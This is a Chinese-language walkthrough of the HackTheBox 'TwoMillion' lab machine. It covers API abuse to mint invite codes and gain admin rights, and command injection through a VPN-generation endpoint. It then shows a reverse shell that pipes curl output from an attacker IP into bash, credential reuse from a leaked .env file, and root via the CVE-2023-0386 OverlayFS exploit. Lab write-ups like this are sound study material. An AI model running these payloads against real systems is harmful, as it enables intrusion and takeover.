> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md). # TwoMillion HackTheBox 复盘 TwoMillion HackTheBox 简单 Linux 机器复盘，涵盖滥用 API 生成有效邀请代码、滥用 API 将我们的权限提升为管理员、通过设计不良的命令注入 {% embed url="" %} {% hint style="warning" %} **技能：** * 滥用 API 生成有效的邀请码 * 滥用 API 将我们的权限提升为管理员 * 通过设计不佳的 API 功能进行命令注入 * 信息泄露 * 通过内核利用实现权限提升（CVE-2023-0386）- OverlayFS 漏洞 {% endhint %} **工作区设置：** 通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

**VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。

**使用 Nmap 发现开放端口：** 枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件： ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.221 -oG allPorts ```

**使用 Nmap 进行端口版本扫描：** 使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中： ```bash nmap -sCV -p22,80 2million.htb-oN targeted ```

## 端口 80 - HTTP

#### 使用 Gobuster 进行资源发现 ```bash gobuster dir -u http://2million.htb/ / -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt / -t 100 -r --exclude-length 1674 ```

#### 发现 `inviteapi.min.js` 文件这个 JavaScript 文件使用经典的 `eval(function(p,a,c,k,e,d){...})` 技术进行了大量混淆。反混淆后，会出现两个有趣的函数： * `verifyInviteCode(code)`：将邀请码发送到 `/api/v1/invite/verify` * `makeInviteCode()`：向 `/api/v1/invite/how/to/generate`

## 利用 API——生成邀请码 #### 初始调用： ```bash curl -X POST / -H "Content-Type: application/json" / http://2million.htb/api/v1/invite/how/to/generate ``` 答案 > {"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."}# #### ROT13 解密 → 新 URL： {% embed url="" %}

要生成邀请码，请向 /api/v1/invite/generate 发送 POST 请求 #### 请求： ```bash curl -X POST / -H "Content-Type: application/json" / http://amillion.htb/api/v1/invite/generate ```

响应（base64）： * V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM= 解码： ```bash echo "V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM=" | base64 -d; echo ``` WUOIF-LK68X-HUGTW-DOX1S 我们使用这个代码在网站上创建账户。

## HackTheBox API 利用

#### API 观察通过访问 `/api`，我们可以观察可用的路由。

#### 尝试生成 VPN 配置（初次失败） ```bash curl -v -X POST / -H "Content-Type: application/json" / --cookie "session=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/vpn/generate ``` 答案：不允许。

#### 通过 API 修改我们的角色

我们测试使用以下路由更改用户设置： ```bash curl -X PUT / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/settings/update ``` > {"status":"danger","message":"缺少参数：email"} ```bash curl -X PUT / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com"}' ``` > {"status":"danger","message":"缺少参数：is/\_admin"} ```bash curl -X PUT / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com", "is_admin": 1}' ``` > 答案： > > {"id":15,"username":"Jordan","is/\_admin":1}

#### 检查我们的管理员状态 ```bash curl -s -X GET / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/auth | jq { "message": true } ```

### 通过命令注入实现 RCE ```bash curl -s -X POST / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan@jordan.com"}' ```

尝试向字段注入命令 `用户名`: ```bash curl -s -X POST / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;id #"}' ```

#### 反向 Shell 1. **文件服务器** ```bash echo 'bash -i >& /dev/tcp/10.10.14.88/443 0>&1' > index.html python3 -m http.server 80 ``` 2. **Netcat 监听** ```bash nc -nvlp 443 ``` 3. **发送命令** ```bash curl -s -X POST / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;curl http://10.10.14.88 | bash"}' ``` 我们得到了一个反向 shell

## 权限提升 #### 敏感文件发现通过搜索 shell 可访问的文件，我们发现了一个隐藏的 `.env` 包含数据库凭据的文件： ```bash DATABASE=htb_prod USERNAME=admin PASSWORD=SuperDuperPass123 ```

我们还注意到存在第二个名为 `admin`.

#### 密码重用通过测试发现的凭据，我们发现系统用户 `admin` 正在使用 **相同的密码** 作为数据库密码。 ### user.txt 标志 :)

这种糟糕的做法使我们能够获取一个 **SSH 连接**: #### 系统邮箱

连接时，一条消息告诉我们存在一封 **新邮件**。阅读后，我们得到了关键信息： > 嘿，管理员， > > 我知道你正在尽快进行数据库迁移。在我们部分停机期间，你也能把 Web 主机上的操作系统升级一下吗？今年已经出现了几个严重的 Linux 内核 CVE。OverlayFS / FUSE 中那个看起来很危险。我们可不能被它攻破。

这条消息让我们找到了一个 **已知的 OverlayFS 漏洞**:/ **CVE-2023-0386** ——一个 Linux 内核中的本地权限提升漏洞。 ## CVE-2023-0386 利用 - OverlayFS 权限提升 > OverlayFS 允许你叠加文件系统。在 Linux 内核的某些版本中，糟糕的容量管理允许非特权用户以 **root 权限**. {% embed url="" %} **操作步骤** 1. **克隆漏洞利用** 到我们的本地机器： ```bash git clone https://github.com/puckiestyle/CVE-2023-0386 cd CVE-2023-0386 make all ``` 2. **传输编译后的文件** 到目标机器（`scp`, `python -m http.server`等）。

2. **在目标机器上**，在 **两个终端**: * 终端 A： ```bash ./fuse ./ovlcap/lower ./gc ``` * 终端 B： ```bash ./exp ``` 如果一切顺利，我们会得到一个 **root** shell

### root.txt 标志 :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.